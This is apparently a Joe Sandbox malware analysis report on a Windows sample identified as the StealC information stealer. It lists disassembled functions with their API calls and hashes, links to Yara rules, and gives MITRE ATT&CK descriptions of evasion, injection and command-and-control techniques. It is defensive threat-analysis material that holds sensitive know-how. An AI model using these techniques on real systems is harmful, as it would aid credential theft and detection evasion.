Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,00420F44), ref: 024A3AD9
StrCmpCA.SHLWAPI(?,00420F48), ref: 024A3AF3
StrCmpCA.SHLWAPI(?,00420F4C), ref: 024A3B0D
strtok_s.MSVCRT ref: 024A3B88

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID:
API String ID: 3330995566-0
Opcode ID: 73115bc3e8dcdeda032c09e7c013334606f369b6221bc6f187dc429dd98a48c5
Instruction ID: 77c2ac6dd811dcaff32f6f84717d907dfdf1a0b68c454ce94a09747caa64ed4c
Opcode Fuzzy Hash: 73115bc3e8dcdeda032c09e7c013334606f369b6221bc6f187dc429dd98a48c5
Instruction Fuzzy Hash: C81127B0E012099FDB14DFEAE958BEEBBB9EF04304F10806AE515BA251E7749601CF65

Function 024A96D7 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(024A3FA5,80000000,00000003,00000000,00000003,00000080,00000000,?,024A3FA5,?), ref: 024A96F3
GetFileSizeEx.KERNEL32(000000FF,024A3FA5), ref: 024A9710
CloseHandle.KERNEL32(000000FF), ref: 024A971E

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 81ae9b57d178cb6c2b2619f3187fe4d96e31a0019182dee87d4c099c60224e91
Instruction ID: 55edc8754b1ed00c9b28a648825c6e547992906ca6ac0deca3a2088cc35a9918
Opcode Fuzzy Hash: 81ae9b57d178cb6c2b2619f3187fe4d96e31a0019182dee87d4c099c60224e91
Instruction Fuzzy Hash: 39F04939E14208FBDB14DFB0EC59F9E77BAAB48700F10C656FA11AB2C0E630A6018B50

Function 0249A2F7 Relevance: 6.0, APIs: 4, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(004212DC), ref: 0249A2FF
GetProcAddress.KERNEL32(006D70A8,004212F8), ref: 0249A325
GetProcAddress.KERNEL32(006D70A8,00421310), ref: 0249A33C
FreeLibrary.KERNEL32(006D70A8), ref: 0249A360

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: AddressLibraryProc$FreeLoad
String ID:
API String ID: 2256533930-0
Opcode ID: 7a0dc9a98ac853a9b738e9b56338bc9d7e27e39a5dbcb03120cd0e56dd10277b
Instruction ID: 608d307e3c04a692f19aa86b489b7df946a6078752e96af2fca74f9a9f2f4f40
Opcode Fuzzy Hash: 7a0dc9a98ac853a9b738e9b56338bc9d7e27e39a5dbcb03120cd0e56dd10277b
Instruction Fuzzy Hash: 64F0F9B4A0A220EFDB109B65ED49B563BA6F308701F546527F505872E0E3B45484CB26

Function 024A6FFA Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,006D6F40,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 024A6FD1
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 024A6FEF
CloseHandle.KERNEL32(00000000), ref: 024A7000
Sleep.KERNEL32(00001770), ref: 024A700B
CloseHandle.KERNEL32(?,00000000,?,006D6F40,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 024A7021
ExitProcess.KERNEL32 ref: 024A7029

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: cbc054f6a7ed638df2ab0a9ffd5acb2e6cab1cfb1d0e0230c636362dfaef6af4
Instruction ID: c38efd777f3a2d0a6504143eecdd20b257f25ea7ebc7a452353058d8d86bedb9
Opcode Fuzzy Hash: cbc054f6a7ed638df2ab0a9ffd5acb2e6cab1cfb1d0e0230c636362dfaef6af4
Instruction Fuzzy Hash: C0F08270D4D215AFEB20ABA0DC26B7EBB7AFB34705F14091BB512A51D0DBB04540CE62

Function 0250EE4F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0250EE8E
__IsNonwritableInCurrentImage.LIBCMT ref: 0250EF42

Strings

csm, xrefs: 0250EF2C

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
Instruction ID: 73ef0d70739c72617427efb805f2c1eb895f48dfab7b48f0a8b8aff8d5ac2e56
Opcode Fuzzy Hash: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
Instruction Fuzzy Hash: BF419030A00219DBCB10EF68CC85AAEBFA6BF85324F248595E9199B3D1D731D951CF94

Function 0250F93A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

CatchIt.LIBVCRUNTIME ref: 0250FA45

Strings

MOC, xrefs: 0250F971
RCC, xrefs: 0250F979

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Catch
String ID: MOC$RCC
API String ID: 78271584-2084237596
Opcode ID: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
Instruction ID: cbd6cd1b31a338ac15222e9a250f51fd1529574e17c05c8d9ab8fa7522f6b6cb
Opcode Fuzzy Hash: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
Instruction Fuzzy Hash: 01417C7190010AAFCF25CF98CD81AEEBBB6FF48304F188059F904676A0DB359950DF99

Function 0249BCB7 Relevance: 5.3, APIs: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

Part of subcall function 024AAE97: lstrcpy.KERNEL32(00000000,?), ref: 024AAEE9
Part of subcall function 024AAE97: lstrcat.KERNEL32(00000000), ref: 024AAEF9

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

Part of subcall function 024AAD17: lstrcpy.KERNEL32(?,00000000), ref: 024AAD5D

Part of subcall function 0249A7C7: memcmp.MSVCRT(?,0042124C,00000003), ref: 0249A7E4

lstrlen.KERNEL32(00000000), ref: 0249BED6

Part of subcall function 024A9227: LocalAlloc.KERNEL32(00000040,-00000001), ref: 024A9249

StrStrA.SHLWAPI(00000000,0042143C), ref: 0249BF04
lstrlen.KERNEL32(00000000), ref: 0249BFDC
lstrlen.KERNEL32(00000000), ref: 0249BFF0

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID:
API String ID: 1440504306-0
Opcode ID: d650cb6ee135051a510d3b4860837fdfb72f530cdecf696837b7b8807095c46b
Instruction ID: 160a6f76c095f69c5dbabd314150868f9b377201bca1806b1161b5e8e796e369
Opcode Fuzzy Hash: d650cb6ee135051a510d3b4860837fdfb72f530cdecf696837b7b8807095c46b
Instruction Fuzzy Hash: 82B127B29002289BCF18FBA1DC65EEE773AAF34305F50456FE546A6190EF345A48CF61

Function 024A53F7 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 024A91D7: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 024A9202

lstrcat.KERNEL32(?,00000000), ref: 024A5431
lstrcat.KERNEL32(?,00421058), ref: 024A544E
lstrcat.KERNEL32(?,006D6FF8), ref: 024A5462
lstrcat.KERNEL32(?,0042105C), ref: 024A5474

Part of subcall function 024A4DC7: wsprintfA.USER32 ref: 024A4DE3
Part of subcall function 024A4DC7: FindFirstFileA.KERNEL32(?,?), ref: 024A4DFA

Part of subcall function 024A4DC7: StrCmpCA.SHLWAPI(?,00420FC4), ref: 024A4E28
Part of subcall function 024A4DC7: StrCmpCA.SHLWAPI(?,00420FC8), ref: 024A4E3E
Part of subcall function 024A4DC7: FindNextFileA.KERNEL32(000000FF,?), ref: 024A5034
Part of subcall function 024A4DC7: FindClose.KERNEL32(000000FF), ref: 024A5049

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 78196317b43d1ae5eb8e9dda45d5cf78e45a1aa527f945a7246ff9d6d1fdb0ea
Instruction ID: d335f8b64b3f9d344e13bbee2b974678078543d85af559732069eeaeb969658d
Opcode Fuzzy Hash: 78196317b43d1ae5eb8e9dda45d5cf78e45a1aa527f945a7246ff9d6d1fdb0ea
Instruction Fuzzy Hash: C221C876D04218ABCB14EB70EC55EED373EAB64300F40469AF69952190EE755BC88F91

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report uxnkmJzTjK.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Protection of GUI

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_uxnkmJzTjK.exe_2758b5a6727ed414df83f22680b3fca6bee45aca_7d3e508a_21fb4e6d-b425-4a5d-96c5-dcfe67d27b2c\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD2A4.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD3CE.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD3FE.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Windows Analysis Report
uxnkmJzTjK.exe

Function 00419F20 Relevance: 238.7, APIs: 112, Strings: 24, Instructions: 684
libraryloaderCOMMON

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Function 00405000 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 82
networkmemoryfileCOMMON

Function 00419BB0 Relevance: 86.0, APIs: 33, Strings: 16, Instructions: 212
libraryloaderCOMMON

Function 00405150 Relevance: 61.8, APIs: 22, Strings: 13, Instructions: 569
stringnetworkmemoryCOMMON

Function 004048D0 Relevance: 35.5, APIs: 11, Strings: 9, Instructions: 479
networkstringfileCOMMON

Function 004184B0 Relevance: 29.9, APIs: 11, Strings: 6, Instructions: 196
registryCOMMON

Function 004062D0 Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 191
networkfileCOMMON

Function 00415760 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383
sleepCOMMON

Function 00411C60 Relevance: 23.6, APIs: 2, Strings: 11, Instructions: 857
stringCOMMON

Function 00417690 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 00418290 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 67
memoryCOMMON

Function 0249003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON